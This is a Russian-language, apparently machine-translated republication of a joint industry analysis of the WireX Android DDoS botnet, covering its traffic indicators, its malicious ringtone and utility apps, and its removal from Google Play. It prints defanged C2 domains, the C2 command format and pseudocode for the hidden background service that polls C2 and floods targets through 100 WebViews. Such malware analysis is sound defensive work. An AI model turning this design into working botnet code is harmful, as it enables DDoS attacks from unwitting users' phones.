Несколько дней назад Google удалил сотни зараженных приложений, доступных для скачивания в Play Store, и начал процесс их удаления со всех устройств.
Исследователи из Akamai, Cloudflare, Flashpoint, Google, Oracle Dyn, RiskIQ, Team Cymru и других организаций сотрудничали, объединившись для борьбы с этим ботнетом.
Имеющиеся данные указывают на то, что ботнет мог быть активен еще 2 августа, но внимание привлекла атака 17 августа.
Эта статья включает в себя совокупность знаний и описывает усилия исследователей, работающих над нейтрализацией ботнета.
Подробности атаки
Ботнет WireX оставил свои первые следы 2 августа в виде атак, которые на тот момент остались незамеченными.Они были обнаружены, когда исследователи начали искать в журналах 26-значные записи User-Agent. Первоначальные атаки были минимальными, и вполне вероятно, что вредоносное ПО находилось в разработке или на ранних стадиях развертывания.
Начиная с 15 августа были выявлены более длительные атаки, в некоторых из которых было задействовано не менее 70 000 IP-адресов (рис.
1).
WireX — это DDoS-атака на уровне приложения.
Трафик, генерируемый атакующими узлами, в основном представляет собой HTTP-запросы GET, хотя некоторые варианты приложений, похоже, способны выдавать запросы POST. Другими словами, ботнет создает трафик, напоминающий реальные запросы от обычных HTTP-клиентов и веб-браузеров.
Рисунок 1. Предполагаемый рост ботнета на основе количества уникальных IP-адресов, наблюдаемых при атаках в час.
Большая часть трафика этого ботнета характеризовалась использованием HTTP-запросов User-Agent в виде случайной последовательности строчных букв английского алфавита.
Некоторые записи User-Agent:
Также были обнаружены варианты вредоносного ПО, которые создают записи User-Agent с расширенным набором символов различной длины.User-Agent: jigpuzbcomkenhvladtwysqfxr User-Agent: yudjmikcvzoqwsbflghtxpanre User-Agent: mckvhaflwzbderiysoguxnqtpj User-Agent: deogjvtynmcxzwfsbahirukqpl User-Agent: fdmjczoeyarnuqkbgtlivsxhwp User-Agent: yczfxlrenuqtwmavhojpigkdsb User-Agent: dnlseufokcgvmajqzpbtrwyxih
Вот некоторые примеры: User-Agent: xlw2ibhqg0i
User-Agent: bg5pdrxhka2sjr1g
User-Agent: 5z5z39iit9damit5czrxf655ok060d544ytvx25g19hcg18jpo8vk3q
User-Agent: fge26sd5e1vnyp3bdmc6ie0
User-Agent: m8al87qi9z5cqlwc8mb7ug85g47u
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1b3)
Gecko/20090305 Firefox/3.1b3 (.
NET CLR 3.5.30729)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7)
Gecko/20071018 BonEcho/2.0.0.7
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us)
AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2
Отслеживание узла атаки
Анализ данных DDoS-атаки 17 августа показал, что в ней были задействованы устройства из более чем 100 стран, что необычно для ботнетов.Распространение атакующих IP-адресов, а также конкретной записи User-Agent заставило исследователей подозревать, что другие организации могли заметить подобные атаки или стать их жертвами.
Специалисты, начавшие расследование, обратились к коллегам из других организаций, чтобы проверить эту гипотезу.
Благодаря совместным усилиям расследование стало стремительно развиваться.
Анализ логов показал связь между атакующими IP-адресами и вредоносными Android-приложениями.
Первая и последующие атаки включали запросы от приложения с одной и той же подписью.
Это привело исследователей к приложению для Android «twdlphqg_v1.3.5_apkpure.com.apk», которое они начали изучать, чтобы понять, как работает ботнет, и идентифицировать связанные приложения.
В результате поиска было обнаружено еще несколько заявок от тех же авторов или авторов со схожим названием и сопоставимым описанием (рис.
2).
Когда были найдены новые приложения, началась работа по анализу их функционала.
Рисунок 2. Скриншот результатов поиска с похожим вредоносным ПО.
Было несколько случаев, когда эти приложения были найдены в известных магазинах мобильных приложений.
В ответ на уведомление о вредоносном приложении Google предоставил следующий комментарий:
Мы выявили около 300 приложений, связанных с этой проблемой, и заблокировали их в Play Store. Мы находимся в процессе удаления их со всех зараженных устройств.Выводы исследователей в сочетании с нашим собственным анализом позволили нам лучше защитить пользователей Android.
Обзор вредоносного ПО
Многие из приложений относились к категориям медиа/видеоплееров, рингтонов или утилит, таких как файловые менеджеры и магазины приложений, с дополнительными функциями, скрытыми для конечных пользователей.При запуске приложений вредоносные компоненты начинали свою работу, запрашивая у управляющего сервера, которым чаще всего был g.axclick.store, команду на запуск и направление атаки.
Приложения с возможностью DDoS-атаки были безвредны для пользователей, которые их установили.
Эти приложения также воспользовались преимуществами сервисной архитектуры Android, которая позволяет приложениям использовать системные ресурсы даже во время работы в фоновом режиме.
Таким образом, атаки могут быть запущены, когда приложение не используется.
Антивирусное программное обеспечение в настоящее время распознает это вредоносное ПО как троян «Android Clicker», но оно не имеет никакого отношения к мошенничеству с кликами.
Вредоносное ПО, вероятно, было связано с аналогичными мошенничествами, но было перепрофилировано для DDoS-атак.
Анализ вредоносного ПО
При проверке различных декомпилированных приложений было обнаружено несколько поддоменов одного корневого домена (axclick.store), которые предположительно были частью инфраструктуры управления и контроля (C2) ботнета.
$ grep http * -R
com/twdlphqg/app/ExplorationActivity.smali: const-string v3, " http://u[.
]axclick[.
]store/
" com/twdlphqg/app/services/Ryiidrxcjmfb.smali: const-string v1, " http://g[.]axclick[.
]store/
"Первый домен (u[.
]Axclick[.
]Store) не вернул контент, а отправил пустой ответ 200 ОК и, очевидно, использовался для проверки подключения к Интернету.
Второй домен (g[.
]Axclick[.
]Store) оказался связан с DDoS-компонентами вредоносного ПО.
Компонент приложения, ссылающийся на этот домен, отвечал за создание службы Android, оснащенной двумя экземплярами WebView. Android позволяет создать собственное окно для просмотра веб-страниц или даже создать собственный клон браузера с помощью элемента WebView. Первый экземпляр WebView служил маяком, опрашивая сервер C2 на наличие директив атаки.
Второй служил ссылкой для клонирования WebView в целях атаки.
Этот компонент также содержит логику для настройки этих экземпляров атак.
Обзор компонентов
Ниже с использованием псевдокода, основанного на знаниях, полученных из декомпилированных APK, части компонентов обсуждаются отдельно.СервисРаннер Цель компонента — продолжить работу приложения в фоновом режиме.
Выполнение завершится только в том случае, если приложение будет остановлено пользователем мобильного устройства или устройство будет перезагружено.
Псевдокод Service Runner
Class ServiceRunner extends Object {
Public function run() {
DDoS_Service->poll_c2();
}
}
C2-парсер
AttackCommandParser запускается, когда C2 WebView обнаруживает, что страница загружена.
Анализатор загружает содержимое страницы и извлекает тело в качестве команды атаки.
Судя по наблюдаемым образцам, полезная нагрузка C2 выглядит следующим образом: <html>
<title>
https://A_TARGETED_WEBSITE/snewxwriA_USER_AGENT_STRINGsnewxwrihttps://A_REFER_HEADER_VALUE/
</title>
</html>
Пример команды атаки
Значение, извлеченное из тега заголовка, затем проверяется с помощью String-> contains(), чтобы убедиться, что оно содержит разделитель snewxwri. Если найдено, содержимое разделяется.
Затем они используются в качестве параметров для передачи методу DDoS_Service-> attack().
Псевдокод для разбора ответов Class AttackCommandParser extends WebViewClient {
Public function onPageFinished(C2_WebView,C2_url) {
String pageTitle = C2_WebView->getTitle();
if (pageTitle->contains(“snewxwri”) == true) {
pageTitle = pageTitle->trim();
Array commandParts = pageTitle.split(“snewxwri”);
String target = commandParts[0];
String userAgent = commandParts[1];
String referer = commandParts[2];
DDoS_Service->attack(target, userAgent, referer);
}
}
}
DDoS-сервис
Основная функция компонента DDoS_Service — создание WebView для загрузки любого указанного URL-адреса, выбранного в C2 WebView, в сам контейнер WebView, а не запуск браузера.
После этого начинается атака.
Псевдокод службы DDoS Class DDoS_Service extends Object {
Public function onCreate() {
Handler OS_Handler = new Handler();
Object Runner = new ServiceRunner();
OS_Handler->postDelayed(Runner,2);
}
Public function poll_c2() {
WebViewClient C2_Parser = new AttackCommandParser();
WebView C2_WebView = new WebView();
WebViewSettings C2_WebView_Settings = C2_WebView->getSettings();
C2_WebView_Settings->setCacheMode(LOAD_NO_CACHE);
C2_WebView->clearCache(true);
C2_WebView->clearHistory();
C2_WebView->setWebViewClient(C2_Parser);
C2_WebView->loadUrl(“ http://g[.
]axclick[.
]store
”); } Public function attack(String target, String userAgent, String referer) { HashMap WebViewHeaders = new HashMap(); WebViewHeaders->put(“Referer”,referer); WebViewHeaders->put(“X-Requested-With”,””); WebView[] AttackerViews = new WebView[100]; for (int i=0; i<AttackerViews.length; i++) { AttackerViews[i] = new WebView(); AttackerViews[i]->clearHistory(); AttackerViews[i]->clearFormData(); AttackerViews[i]->clearCache(true); WebViewSettings AttackWebViewSettings = AttackerViews[i]->getSettings(); AttackWebViewSettings->setJavaScriptEnabled(true); AttackWebViewSettings->setUserAgentString(userAgent); AttackWebViewSettings->setCacheMode(LOAD_NO_CACHE); this->deleteDatabase(“webview.db”); this->deleteDatabase(“webviewCache.db”); AttackerViews[i]->loadUrl(target,WebViewHeaders); } } }Метод onCreate() создает новый экземпляр android/os/Handler и ServiceRunner. Метод poll_c2() отвечает за постоянную перезагрузку WebView с использованием URL-адреса C2. Перед опросом доменов C2 служба очистит и отключит кеш, а также очистит историю экземпляров WebView. Эти действия выполняются для того, чтобы клиент всегда получал актуальную информацию и не обрабатывал запросы с использованием кэша.
Метод Attack() отвечает за генерацию фактического атакующего трафика.
Пользовательский опыт при работе с вредоносным ПО
Хотя многие зараженные приложения уже удалены из Google Play Store, в сети остаются зеркала, с которых можно скачать APK-файлы.Мы загрузили «twdlphqg» (одно из атакующих приложений) на физический Samsung Galaxy S4 с Android Lollipop и исправлениями безопасности 2015 года.
Это приложение, как и другие, которые мы тестировали, имело безобидные названия, такие как «Анализ устройства», «Хранилище данных», «Диспетчер пакетов» и так далее.
Когда приложение запускается, оно выглядит как простое приложение для рингтонов.
Доступно всего три мелодии звонка.
Он может воспроизводить и устанавливать мелодии звонка и не имеет других функций.
Это приложение запускает в фоновом режиме дополнительные процессы, которые продолжают работать и могут участвовать в DDoS-атаке, даже когда экран телефона заблокирован.
Когда мы поставили телефон на зарядку в спящий режим, процессы, ответственные за DDoS-атаку, не остановились.
Примечательно, что в настоящее время невозможно установить эти приложения, поскольку функция Google PlayProtect блокирует их.
Все выявленные приложения стали частью кампании по удалению проблемных и уже установленных приложений с устройств.
Теперь для запуска этого вредоносного ПО необходимо отключить PlayProtect в настройках.
Заключение
Эти открытия стали возможны только благодаря сотрудничеству различных ИТ-организаций.У каждого была своя часть головоломки: без участия каждой компании этот ботнет мог бы долгое время оставаться загадкой.
Лучшее, что могут сделать организации, столкнувшись с DDoS-атакой, — это поделиться подробными показателями, связанными с атакой.
Обладая этой информацией, те, кто специализируются на
защита от DDoS , смогут узнать гораздо больше и минимизировать негативные последствия.Полезная информация может включать захваченные пакеты, списки атакующих IP-адресов, заметки о выкупе, заголовки запросов и любые подозрительные шаблоны.
Такие данные не должны содержать законный клиентский трафик, чтобы свести к минимуму проблемы конфиденциальности, а также потому, что такой трафик может замедлить анализ.
И самое главное, дайте разрешение на передачу этих данных доверенным лицам в более широком сообществе ИТ-безопасности, которые могут обладать необходимым опытом.
Спасибо исследователям из Akamai, Cloudflare, Flashpoint, Google, RiskIQ, Team Cymru, ФБР и других организаций, не вошедших в список.
Тим Эйприл: старший архитектор безопасности @ Akamai Крис Бейкер: руководитель отдела анализа угроз @ Oracle Dyn Мэтт Каротерс Джейми Кокран: аналитик по безопасности @ Cloudflare Марек Майковски: компьютерщик-энтузиаст @ Cloudflare Джаред Маух: Межсетевые исследования и архитектура @ Akamai Эллисон Никсон: директор по исследованиям безопасности @ Flashpoint Джастин Пейн: руководитель отдела доверия и безопасности Cloudflare Чад Симэн: сенатор, инженер группы реагирования на вопросы безопасности и разведки @ Akamai SIRT Даррен Спруэлл: исследователь угроз @ RiskIQ Зак Викхолм: разработчик-исследователь @ Flashpoint и другие.
Теги: #Сетевые технологии #ботнет #ddos #хостинг #it-инфраструктура #защита от ддос #защита от ддос #антивирусная защита #приложения для Android #облачный хостинг
-
Какой Видеоплеер Для Gnome Лучший?
19 Oct, 24 -
Планшет Как Дополнительный Монитор
19 Oct, 24 -
Iptv Приходит В Красноярск
19 Oct, 24